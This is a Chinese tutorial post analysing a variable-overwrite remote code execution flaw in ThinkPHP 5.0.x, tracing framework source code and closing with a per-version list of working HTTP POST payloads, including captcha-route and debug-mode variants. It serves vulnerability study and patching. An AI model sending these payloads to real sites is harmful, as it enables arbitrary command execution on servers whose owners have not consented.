下面由thinkphp教程欄目給大家介紹thinkphp5.0.x全版本變量覆蓋導致的rce分析,希望對需要的朋友有所幫助!
簡介
總是碰到一些thinkphp5.0.X的站點,網上搜索漏洞利用payload會有好幾種,變量覆蓋導致的遠程代碼執行,不同小版本之間會有些差別,比如下面幾種。
_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...
payload雖沒錯,但是用得我挺懵,不知所以然。
這幾種到底有什么差異?
各個參數的作用是什么?
為什么會這樣?
分析
thinkphp有兩種版本,一種是核心版,一種是完整版。簡單來講核心版不包括第三方類庫,比如驗證碼庫(劃重點,后面會用到)。
從5.0.0說起,適用于5.0.0的代碼執行payload長這樣
立即學習“PHP免費學習筆記(深入)”;
POST?/thinkphp5.0.0?HTTP/1.1 _method=__construct&filter=system&a=whoami&method=GET
為什么 _method=__construct
為什么 filter=system
為什么 a=whoami
為什么 method=GET
thinkphp的入口文件為public/index.php,如下。
//?定義應用目錄 define('APP_PATH',?__DIR__?.?'/../application/'); //?加載框架引導文件 require?__DIR__?.?'/../thinkphp/start.php';
跟進thinkphp/start.php。
//?1.?加載基礎文件 require?__DIR__?.?'/base.php'; //?2.?執行應用 App::run()->send();
看到是調用的是App::run()執行應用。
跟進thinkphp/library/think/App.php下的run()函數。
????/** ?????*?執行應用程序 ?????*?@access?public ?????*?@param?Request?$request?Request對象 ?????*?@return?Response ?????*?@throws?Exception ?????*/ ????public?static?function?run(Request?$request?=?null) ????{ ????????... ????????????//?獲取應用調度信息 ????????????$dispatch?=?self::$dispatch; ????????????if?(empty($dispatch))?{ ????????????????//?進行URL路由檢測 ????????????????$dispatch?=?self::routeCheck($request,?$config); ????????????} ????????????//?記錄當前調度信息 ????????????$request->dispatch($dispatch); ????????... ?????}
在run()函數中,會根據請求的信息調用self::routeCheck()函數,進行URL路由檢測設置調度信息并賦值給$dispatch。
????/** ?????*?URL路由檢測(根據PATH_INFO) ?????*?@access?public ?????*?@param?? hinkRequest?$request ?????*?@param??array??????????$config ?????*?@return?array ?????*?@throws? hinkException ?????*/ ????public?static?function?routeCheck($request,?array?$config) ????{ ????????... ????????????//?路由檢測(根據路由定義返回不同的URL調度) ????????????$result?=?Route::check($request,?$path,?$depr,?$config['url_domain_deploy']); ????????... ????????return?$result; ????}
其中的Route::check()函數如下。
????/** ?????*?檢測URL路由 ?????*?@access?public ?????*?@param?Request???$request?Request請求對象 ?????*?@param?string????$url?URL地址 ?????*?@param?string????$depr?URL分隔符 ?????*?@param?bool??????$checkDomain?是否檢測域名規則 ?????*?@return?false|array ?????*/ ????public?static?function?check($request,?$url,?$depr?=?'/',?$checkDomain?=?false) ????{ ????????... ????????$method?=?$request->method(); ????????//?獲取當前請求類型的路由規則 ????????$rules?=?self::$rules[$method]; ????????...
會調用$request->method()函數獲取當前請求類型。
????/** ?????*?當前的請求類型 ?????*?@access?public ?????*?@param?bool?$method??true?獲取原始請求類型 ?????*?@return?string ?????*/ ????public?function?method($method?=?false) ????{ ????????if?(true?===?$method)?{ ????????????//?獲取原始請求類型 ????????????return?IS_CLI???'GET'?:?(isset($this->server['REQUEST_METHOD'])???$this->server['REQUEST_METHOD']?:?$_SERVER['REQUEST_METHOD']); ????????}?elseif?(!$this->method)?{ ????????????if?(isset($_POST[Config::get('var_method')]))?{ ????????????????$this->method?=?strtoupper($_POST[Config::get('var_method')]); ????????????????$this->{$this->method}($_POST); ????????... ????????return?$this->method; ????}
因為上面調用method()函數是沒有傳參的,所以這里$method = false,進入elseif。var_method是表單請求類型偽裝變量,可在application/config.php中看到其值為_method。
//?表單請求類型偽裝變量 'var_method'?????????????=>?'_method',
那么只要POST傳遞一個_method參數,即可進入下面的if,會執行
$this->method?=?strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);
因此可通過指定_method來調用該類下的任意函數。
所以_method=__construct是為了調用thinkphp/library/think/Request.php下的__construct函數。需要注意的是這里同時也將Request類下的$method的值覆蓋為__construct了,這個很重要,先記錄下。
method?=>?__construct
那為啥要調用__construct函數完成攻擊鏈,不是別的函數呢?
跟進函數,如下。
????/** ?????*?架構函數 ?????*?@access?public ?????*?@param?array?$options?參數 ?????*/ ????public?function?__construct($options?=?[]) ????{ ????????foreach?($options?as?$name?=>?$item)?{ ????????????if?(property_exists($this,?$name))?{ ????????????????$this->$name?=?$item; ????????????} ????????} ????????if?(is_null($this->filter))?{ ????????????$this->filter?=?Config::get('default_filter'); ????????} ????}
上面調用__construct函數的時候把$_POST數組傳進去了,也就是會用foreach遍歷POST提交的數據,接著使用property_exists()檢測當前類是否具有該屬性,如果存在則賦值,而$name和$item都是來自$_POST,完全可控,這里就存在一個變量覆蓋的問題。filter=system&method=GET 作用就是把當前類下的$filter覆蓋為system,$method覆蓋為GET,當前變量情況:
method?=>?__construct?=>?GET filter?=>?system
為什么要把method又覆蓋一遍成GET?,因為前面在check()函數中有這么兩行代碼。
$method?=?$request->method(); //?獲取當前請求類型的路由規則 $rules?=?self::$rules[$method];
前面已經在method()函數中進行了變量覆蓋,$method的值為__construct。而$rules的定義如下:
????private?static?$rules?=?[ ????????'GET'?????=>?[], ????????'POST'????=>?[], ????????'PUT'?????=>?[], ????????'DELETE'??=>?[], ????????'PATCH'???=>?[], ????????'HEAD'????=>?[], ????????'OPTIONS'?=>?[], ????????'*'???????=>?[], ????????'alias'???=>?[], ????????'domain'??=>?[], ????????'pattern'?=>?[], ????????'name'????=>?[], ????];
那么如果不再次覆蓋$method為GET、POST、PUT等等,self::$rules[$method]就為self::$rules[‘__construct’],程序就得報錯了嘛。
應用調度信息后獲取完畢后,若開啟了debug,則會記錄路由和請求信息。這也是很重要的一點,先記錄。
if?(self::$debug)?{ ????????????????Log::record('[?ROUTE?]?'?.?var_export($dispatch,?true),?'info'); ????????????????Log::record('[?HEADER?]?'?.?var_export($request->header(),?true),?'info'); ????????????????Log::record('[?PARAM?]?'?.?var_export($request->param(),?true),?'info'); ????????????}
再根據$dispatch類型的不同進入switch case處理。
????????????switch?($dispatch['type'])?{ ????????????????case?'redirect': ????????????????????//?執行重定向跳轉 ????????????????????$data?=?Response::create($dispatch['url'],?'redirect')->code($dispatch['status']); ????????????????????break; ????????????????case?'module': ????????????????????//?模塊/控制器/操作 ????????????????????$data?=?self::module($dispatch['module'],?$config,?isset($dispatch['convert'])???$dispatch['convert']?:?null); ????????????????????break; ????????????????case?'controller': ????????????????????//?執行控制器操作 ????????????????????$data?=?Loader::action($dispatch['controller']); ????????????????????break; ????????????????case?'method': ????????????????????//?執行回調方法 ????????????????????$data?=?self::invokeMethod($dispatch['method']); ????????????????????break; ????????????????case?'function': ????????????????????//?執行閉包 ????????????????????$data?=?self::invokeFunction($dispatch['function']); ????????????????????break; ????????????????case?'response': ????????????????????$data?=?$dispatch['response']; ????????????????????break; ????????????????default: ????????????????????throw?new?InvalidArgumentException('dispatch?type?not?support'); ????????????}
直接訪問public/index.php默認調用的模塊名/控制器名/操作名是/index/index/index,具體定義在application/config.php里面。
//?默認模塊名 'default_module'?????????=>?'index', //?禁止訪問模塊 'deny_module_list'???????=>?['common'], //?默認控制器名 'default_controller'?????=>?'Index', //?默認操作名 'default_action'?????????=>?'index',
因此對應的$dispatch[‘type’]為module,會調用module()函數,經過一系列的處理后返回數據到客戶端。
case?'module': ????????????????????//?模塊/控制器/操作 ????????????????????$data?=?self::module($dispatch['module'],?$config,?isset($dispatch['convert'])???$dispatch['convert']?:?null); ????????????????????break;
跟進module()函數,關鍵在invokeMethod()。
????/** ?????*?執行模塊 ?????*?@access?public ?????*?@param?array?$result?模塊/控制器/操作 ?????*?@param?array?$config?配置參數 ?????*?@param?bool??$convert?是否自動轉換控制器和操作名 ?????*?@return?mixed ?????*/ ????public?static?function?module($result,?$config,?$convert?=?null) ????{ ?????... ????????????$data?=?self::invokeMethod($call); ?????...
invokeMethod()如下,跟進bindParams()。
???/** ?????*?調用反射執行類的方法?支持參數綁定 ?????*?@access?public ?????*?@param?string|array?$method?方法 ?????*?@param?array????????$vars???變量 ?????*?@return?mixed ?????*/ ????public?static?function?invokeMethod($method,?$vars?=?[]) ????{ ????????... ????????$args?=?self::bindParams($reflect,?$vars); ????????... ????}
bindParams()如下,跟進param()。
????/** ?????*?綁定參數 ?????*?@access?public ?????*?@param?ReflectionMethod|ReflectionFunction?$reflect?反射類 ?????*?@param?array?????????????$vars????變量 ?????*?@return?array ?????*/ ????private?static?function?bindParams($reflect,?$vars?=?[]) ????{ ????????if?(empty($vars))?{ ????????????//?自動獲取請求變量 ????????????if?(Config::get('url_param_type'))?{ ????????????????$vars?=?Request::instance()->route(); ????????????}?else?{ ????????????????$vars?=?Request::instance()->param(); ????????????} ????????}
這是關鍵點,param()函數是獲取當前請求參數的。
????/** ?????*?設置獲取獲取當前請求的參數 ?????*?@access?public ?????*?@param?string|array??$name?變量名 ?????*?@param?mixed?????????$default?默認值 ?????*?@param?string|array??$filter?過濾方法 ?????*?@return?mixed ?????*/ ????public?function?param($name?=?'',?$default?=?null,?$filter?=?null) ????{ ????????if?(empty($this->param))?{ ????????????$method?=?$this->method(true); ????????????//?自動獲取請求變量 ????????????switch?($method)?{ ????????????????case?'POST': ????????????????????$vars?=?$this->post(false); ????????????????????break; ????????????????case?'PUT': ????????????????case?'DELETE': ????????????????case?'PATCH': ????????????????????$vars?=?$this->put(false); ????????????????????break; ????????????????default: ????????????????????$vars?=?[]; ????????????} ????????????//?當前請求參數和URL地址中的參數合并 ????????????$this->param?=?array_merge($this->get(false),?$vars,?$this->route(false)); ????????} ????????if?(true?===?$name)?{ ????????????//?獲取包含文件上傳信息的數組 ????????????$file?=?$this->file(); ????????????$data?=?array_merge($this->param,?$file); ????????????return?$this->input($data,?'',?$default,?$filter); ????????} ????????return?$this->input($this->param,?$name,?$default,?$filter); ????}
這里又會調用method()獲取當前請求方法,然后會根據請求的類型來獲取參數以及合并參數,參數的來源有get[],route[],$_POST,那么通過可以變量覆蓋傳參,也可以直接POST傳參。
所以以下幾種方式都是一樣可行的:
a=whoami aaaaa=whoami get[]=whoami route=whoami
最后調用input()函數
????/** ?????*?獲取變量?支持過濾和默認值 ?????*?@param?array?????????$data?數據源 ?????*?@param?string|false??$name?字段名 ?????*?@param?mixed?????????$default?默認值 ?????*?@param?string|array??$filter?過濾函數 ?????*?@return?mixed ?????*/ ????public?function?input($data?=?[],?$name?=?'',?$default?=?null,?$filter?=?null) ????{ ????????... ????????if?(is_array($data))?{ ????????????array_walk_recursive($data,?[$this,?'filterValue'],?$filter); ????????????reset($data); ????????}?else?{ ????????????$this->filterValue($data,?$name,?$filter); ????????} ????????... ????}
input()函數中會通過filterValue()函數對傳入的所有參數進行過濾,這里全局過濾函數已經在前面被覆蓋為system并會在filterValue()函數中使用。
/** ?*?遞歸過濾給定的值 ?*?@param?mixed?????$value?鍵值 ?*?@param?mixed?????$key?鍵名 ?*?@param?array?????$filters?過濾方法+默認值 ?*?@return?mixed ?*/ private?function?filterValue(&$value,?$key,?$filters) { ????$default?=?array_pop($filters); ????foreach?($filters?as?$filter)?{ ????????if?(is_callable($filter))?{ ????????????//?調用函數或者方法過濾 ????????????$value?=?call_user_func($filter,?$value); ????...
通過call_user_func()完成任意代碼執行,這也就是filter為什么要覆蓋成system的原因了,覆蓋成別的函數也行,想執行什么覆蓋成什么。
在thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函數中有一處改動。
這里多了一處判斷,所以不加method=GET也不會報錯,可以正常執行。
_method=__construct&filter=system&a=whoami
測試到5.0.13版本,payload打過去沒有反應,為什么?
跟蹤代碼發現thinkphp/library/think/App.php下的module()函數多了一行代碼。
????//?設置默認過濾機制 ????$request->filter($config['default_filter']);
前面通過變量覆蓋把$filter覆蓋成了system,這里又把$filter給二次覆蓋回去了,導致攻擊鏈斷了。
前面提到過如果開啟了debug模式,很重要,為什么呢?
//?記錄路由和請求信息 ????????????if?(self::$debug)?{ ????????????????Log::record('[?ROUTE?]?'?.?var_export($dispatch,?true),?'info'); ????????????????Log::record('[?HEADER?]?'?.?var_export($request->header(),?true),?'info'); ????????????????Log::record('[?PARAM?]?'?.?var_export($request->param(),?true),?'info'); ????????????}
最后一句會調用param()函數,而攻擊鏈核心就是通過前面的變量覆蓋全局過濾函數$filter,進入param()獲取參數再進入input()進行全局過濾造成的代碼執行。這里在$filter被二次覆蓋之前調用了一次param(),也就是說如果開啟了debug,在5.0.13開始也可以攻擊,也是為什么有時候代碼執行會返回兩次結果的原因。
filter是在module函數中被覆蓋回去的,而執行module函數是根據$dispatch的類型來決定的,那是否能不走module函數,繞過這里的覆蓋呢?
在完整版的thinkphp中,有提供驗證碼類庫,其中的路由定義在vendor/topthink/think-captcha/src/helper.php中。
hinkRoute::get('captcha/[:id]',?"thinkcaptchaCaptchaController@index");
其對應的dispatch類型為method,完美的避開了二次覆蓋,路由限定了請求類型為get,所以在5.0.13開始,如果沒有開debug,還可以調用第三方類庫完成攻擊鏈。
POST?/?s=captcha _method=__construct&filter=system&method=GET&a=whoami
到5.0.21版本開始,函數method()有所改動。
通過server()函數獲取請求方法,并且其中調用了input()函數。
/** ?*?獲取server參數 ?*?@access?public ?*?@param?string|array??$name?數據名稱 ?*?@param?string????????$default?默認值 ?*?@param?string|array??$filter?過濾方法 ?*?@return?mixed ?*/ public?function?server($name?=?'',?$default?=?null,?$filter?=?'') { ????if?(empty($this->server))?{ ????????$this->server?=?$_SERVER; ????} ????if?(is_array($name))?{ ????????return?$this->server?=?array_merge($this->server,?$name); ????} ????return?$this->input($this->server,?false?===?$name???false?:?strtoupper($name),?$default,?$filter); }
前面分析過了,最后代碼執行是進入input()中完成的,所以只要能進入server()函數也可以造成代碼執行。
POST?/?s=captcha?HTTP/1.1 _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
param()函數是根據method()返回值來獲取參數的,現在method()的邏輯變了,如果不傳遞server[REQUEST_METHOD],返回的就是GET,閱讀代碼得知參數的來源有$param[]、$get[]、$route[],還是可以通過變量覆蓋來傳遞參數,但是就不能用之前形如a=whoami任意參數名來傳遞了。
//?當前請求參數和URL地址中的參數合并 ????????????$this->param??????=?array_merge($this->param,?$this->get(false),?$vars,?$this->route(false));
在測試的時候發現只能通過覆蓋get[]、route[]完成攻擊,覆蓋param[]卻不行,調試后找到原因,原來是在route()函數里param[]又被二次覆蓋了。
????/** ?????*?設置獲取路由參數 ?????*?@access?public ?????*?@param?string|array??$name?變量名 ?????*?@param?mixed?????????$default?默認值 ?????*?@param?string|array??$filter?過濾方法 ?????*?@return?mixed ?????*/ ????public?function?route($name?=?'',?$default?=?null,?$filter?=?'') ????{ ????????if?(is_array($name))?{ ????????????$this->param????????=?[]; ????????????return?$this->route?=?array_merge($this->route,?$name); ????????} ????????return?$this->input($this->route,?$name,?$default,?$filter); ????}
POST?/?s=captcha?HTTP/1.1 _method=__construct&filter=system&method=GET&get[]=whoami
或者
POST?/?s=captcha?HTTP/1.1 _method=__construct&filter=system&method=GET&route[]=whoami
總結
各版本通用的變量覆蓋payload如下
5.0.0~5.0.12 無條件觸發
POST?/?HTTP/1.1 _method=__construct&filter=system&method=GET&a=whoami a可以替換成get[]、route[]或者其他名字
5.0.13~5.0.23 需要有第三方類庫 如完整版中的captcha
POST?/?s=captcha?HTTP/1.1 _method=__construct&filter=system&method=get&get[]=whoami get[]可以換成route[]
5.0.13~5.0.23 需要開啟debug
POST?/?HTTP/1.1 _method=__construct&filter=system&get[]=whoami get[]可以替換成route[]
相關推薦:最新的10個thinkphp視頻教程